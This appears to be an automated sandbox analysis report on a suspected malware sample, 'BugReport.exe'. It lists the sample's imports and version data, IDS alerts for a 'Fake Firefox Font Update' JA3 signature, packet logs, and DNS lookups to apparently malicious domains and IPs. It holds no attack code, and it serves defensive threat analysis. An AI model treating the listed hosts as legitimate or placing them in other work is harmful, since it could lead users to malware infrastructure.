GDI32.dll	ScaleViewportExtEx, SetWindowOrgEx, OffsetWindowOrgEx, SetWindowExtEx, ScaleWindowExtEx, GetCurrentPositionEx, ArcTo, MoveToEx, PolyDraw, PolylineTo, PolyBezierTo, ExtSelectClipRgn, CreateDIBPatternBrushPt, CreatePatternBrush, SelectPalette, PlayMetaFileRecord, SetViewportExtEx, EnumMetaFile, SetViewportOrgEx, CreatePen, ExtCreatePen, CreateHatchBrush, CreateRectRgnIndirect, PatBlt, SetRectRgn, CombineRgn, GetMapMode, DPtoLP, GetTextMetricsW, GetCharWidthW, CreateFontW, StretchDIBits, GetObjectType, OffsetViewportOrgEx, LineTo, OffsetClipRgn, IntersectClipRect, ExcludeClipRect, SelectObject, StartDocW, GetPixel, GetWindowExtEx, GetViewportExtEx, SelectClipPath, GetClipRgn, SelectClipRgn, DeleteObject, SetColorAdjustment, SetArcDirection, SetMapperFlags, SetTextCharacterExtra, SetTextJustification, PlayMetaFile, CreateFontIndirectW, SetMapMode, ModifyWorldTransform, SetWorldTransform, SetGraphicsMode, SetStretchBltMode, SetROP2, SetPolyFillMode, SetBkMode, RestoreDC, SaveDC, SetBkColor, SetTextColor, GetClipBox, GetDCOrgEx, CreateBitmap, CopyMetaFileW, CreateRectRgn, CreateSolidBrush, GetCurrentObject, Escape, GetTextExtentPoint32W, ExtTextOutW, TextOutW, BitBlt, RectVisible, PtVisible, GetBkColor, CreateCompatibleDC, CreateCompatibleBitmap, GetStockObject, CreateDCW, GetDeviceCaps, DeleteDC, GetObjectW, SetTextAlign
COMDLG32.dll	GetFileTitleW
WINSPOOL.DRV	ClosePrinter, OpenPrinterW, DocumentPropertiesW
ADVAPI32.dll	RegDeleteValueW, RegSetValueExW, RegCreateKeyExW, RegEnumKeyW, RegDeleteKeyW, RegOpenKeyW, RegSetValueW, RegQueryValueW, RegQueryInfoKeyW, RegEnumValueW, RegEnumKeyExW, RegOpenKeyExW, RegQueryValueExW, RegCloseKey, RegCreateKeyW
SHELL32.dll	ExtractIconW, ShellExecuteExW, SHGetFileInfoW, DragFinish, DragQueryFileW, ShellExecuteW
SHLWAPI.dll	PathCombineW, PathFindFileNameW, PathFindExtensionW, PathRemoveExtensionW, PathStripToRootW, PathFileExistsW, PathRemoveFileSpecW, PathIsUNCW
ole32.dll	ReleaseStgMedium, CreateBindCtx, ReadClassStg, ReadFmtUserTypeStg, CoTaskMemAlloc, WriteClassStg, WriteFmtUserTypeStg, SetConvertStg, CoTaskMemFree, StringFromCLSID, CoTreatAsClass, CoDisconnectObject, OleDuplicateData, CoCreateInstance, StringFromGUID2, CLSIDFromString, OleRegGetUserType
OLEAUT32.dll	VarBstrFromDate, VarDecFromStr, VarBstrFromDec, VarBstrFromCy, VarCyFromStr, SysReAllocStringLen, VarDateFromStr, SystemTimeToVariantTime, VariantTimeToSystemTime, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayDestroy, SafeArrayUnlock, SafeArrayLock, SafeArrayPutElement, SafeArrayPtrOfIndex, SafeArrayGetElement, SafeArrayCopy, SafeArrayAllocDescriptor, SafeArrayAllocData, VariantCopy, SysFreeString, SysAllocString, SysStringLen, SysAllocStringByteLen, SysStringByteLen, VariantClear, VariantChangeType, VariantInit, SysAllocStringLen, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayGetElemsize, SafeArrayGetDim, SafeArrayCreate, SafeArrayRedim
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Version Infos

Description	Data
FileDescription	BugReport.exe
FileVersion	2.3.12.202
LegalCopyright	Software Support Center. All rights reserved.
ProductName	BugReport
ProductVersion	2.3.12.202
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany
French	France

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-13T17:10:06.778863+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49703	89.169.54.153	443	TCP
2025-04-13T17:10:30.132125+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49693	104.21.42.51	443	TCP
2025-04-13T17:10:31.727826+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49696	104.21.42.51	443	TCP
2025-04-13T17:10:33.341119+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49697	104.21.42.51	443	TCP
2025-04-13T17:10:34.443812+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49698	104.21.42.51	443	TCP
2025-04-13T17:10:37.528047+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49699	104.21.42.51	443	TCP
2025-04-13T17:10:38.484166+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49700	104.21.42.51	443	TCP
2025-04-13T17:10:39.621084+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49701	104.21.42.51	443	TCP
2025-04-13T17:10:41.723058+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49702	104.21.42.51	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2025 17:10:29.896811008 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:29.896900892 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:29.897010088 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:29.898703098 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:29.898740053 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.132031918 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.132124901 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.133474112 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.133491039 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.133829117 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.181993008 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.193336010 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.193353891 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.193492889 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694338083 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694489956 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694557905 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.694572926 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694602966 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694653988 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.694689035 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694885015 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.694931030 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.694948912 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.695029974 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.695075989 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.695085049 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.695163012 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.695219994 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.695228100 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.695300102 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.695344925 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.695353985 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.744446993 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.824595928 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.824702024 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.824733973 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.824758053 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.824790001 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.824835062 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.825061083 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825122118 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825162888 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825164080 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.825177908 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825220108 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.825609922 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825676918 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825714111 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825714111 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.825726032 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.825764894 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.825778008 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826632023 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826672077 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826674938 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.826685905 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826725960 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.826734066 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826785088 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826834917 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.826844931 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826860905 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.826919079 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.829828978 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.829848051 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:30.829862118 CEST	49693	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:30.829871893 CEST	443	49693	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.488152981 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.488276005 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.488387108 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.488656044 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.488687038 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.727616072 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.727826118 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.728775978 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.728806973 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.729234934 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.730393887 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.730582952 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.730633020 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:31.730699062 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:31.772281885 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:32.691368103 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:32.691490889 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:32.692092896 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:32.692513943 CEST	49696	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:32.692539930 CEST	443	49696	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.116817951 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.116857052 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.116970062 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.117317915 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.117333889 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.341046095 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.341119051 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.343055964 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.343065023 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.343364000 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.344696045 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.344815016 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.344861031 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.344921112 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.392263889 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.913597107 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.913682938 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:33.913913012 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:33.913913012 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.208972931 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.209060907 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.209156036 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.209520102 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.209554911 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.213255882 CEST	49697	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.213279963 CEST	443	49697	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.443742990 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.443811893 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.445342064 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.445357084 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.445596933 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.447031975 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.447324991 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.447362900 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:34.447505951 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:34.447521925 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:35.129451036 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:35.129590034 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:35.129722118 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:35.130047083 CEST	49698	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:35.130072117 CEST	443	49698	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.293178082 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.293229103 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.293332100 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.293679953 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.293699980 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.527987003 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.528047085 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.532265902 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.532279015 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.532507896 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.533623934 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.533744097 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.533763885 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.976239920 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.976530075 CEST	443	49699	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:37.976578951 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:37.976651907 CEST	49699	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.243278980 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.243339062 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.243423939 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.243743896 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.243762016 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.483922005 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.484165907 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.485322952 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.485338926 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.486185074 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.487668991 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.487987995 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.488039970 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.918556929 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.918735027 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:38.918824911 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.918905973 CEST	49700	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:38.918936014 CEST	443	49700	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.398077011 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.398173094 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.398386002 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.398614883 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.398653030 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.620930910 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.621083975 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.622416019 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.622454882 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.622807980 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.635884047 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.636688948 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.636738062 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.636858940 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.636900902 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.637018919 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.637264967 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.637412071 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.637434006 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.637593985 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.637624025 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.637789011 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.637814999 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.637825966 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.637842894 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.638000011 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.638022900 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.638055086 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.638065100 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.638199091 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.638241053 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.638267994 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.680298090 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:39.680507898 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.680574894 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.680597067 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:39.724282026 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.399919033 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.400300980 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.400393009 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.402407885 CEST	49701	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.402450085 CEST	443	49701	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.479032993 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.479072094 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.479152918 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.481132030 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.481153965 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.722979069 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.723057985 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.724379063 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.724387884 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.725312948 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:41.726660967 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.726680040 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:41.726821899 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:42.214982033 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:42.215167046 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:42.215303898 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:42.215358019 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:42.215373993 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:42.215388060 CEST	49702	443	192.168.2.5	104.21.42.51
Apr 13, 2025 17:10:42.215393066 CEST	443	49702	104.21.42.51	192.168.2.5
Apr 13, 2025 17:10:42.411818981 CEST	49703	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.411886930 CEST	443	49703	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.411989927 CEST	49703	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.412426949 CEST	49703	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.412446976 CEST	443	49703	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.633776903 CEST	443	49703	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.634418964 CEST	49704	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.634531975 CEST	443	49704	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.634633064 CEST	49704	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.634975910 CEST	49704	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.635011911 CEST	443	49704	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.848845005 CEST	443	49704	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.849647999 CEST	49705	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.849695921 CEST	443	49705	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.849785089 CEST	49705	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.850881100 CEST	49705	443	192.168.2.5	89.169.54.153
Apr 13, 2025 17:10:42.850918055 CEST	443	49705	89.169.54.153	192.168.2.5
Apr 13, 2025 17:10:42.851001978 CEST	49705	443	192.168.2.5	89.169.54.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2025 17:10:29.774400949 CEST	56954	53	192.168.2.5	1.1.1.1
Apr 13, 2025 17:10:29.886405945 CEST	53	56954	1.1.1.1	192.168.2.5
Apr 13, 2025 17:10:42.219000101 CEST	51789	53	192.168.2.5	1.1.1.1
Apr 13, 2025 17:10:42.410509109 CEST	53	51789	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 13, 2025 17:10:29.774400949 CEST	192.168.2.5	1.1.1.1	0xf689	Standard query (0)	bxattlepath.digital	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:42.219000101 CEST	192.168.2.5	1.1.1.1	0xceea	Standard query (0)	h1.mockupeastcoast.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 13, 2025 17:10:10.897001982 CEST	1.1.1.1	192.168.2.5	0xdc5	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:10.897001982 CEST	1.1.1.1	192.168.2.5	0xdc5	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.37	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.55.38	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.40	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.23	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.18	A (IP address)	IN (0x0001)	false
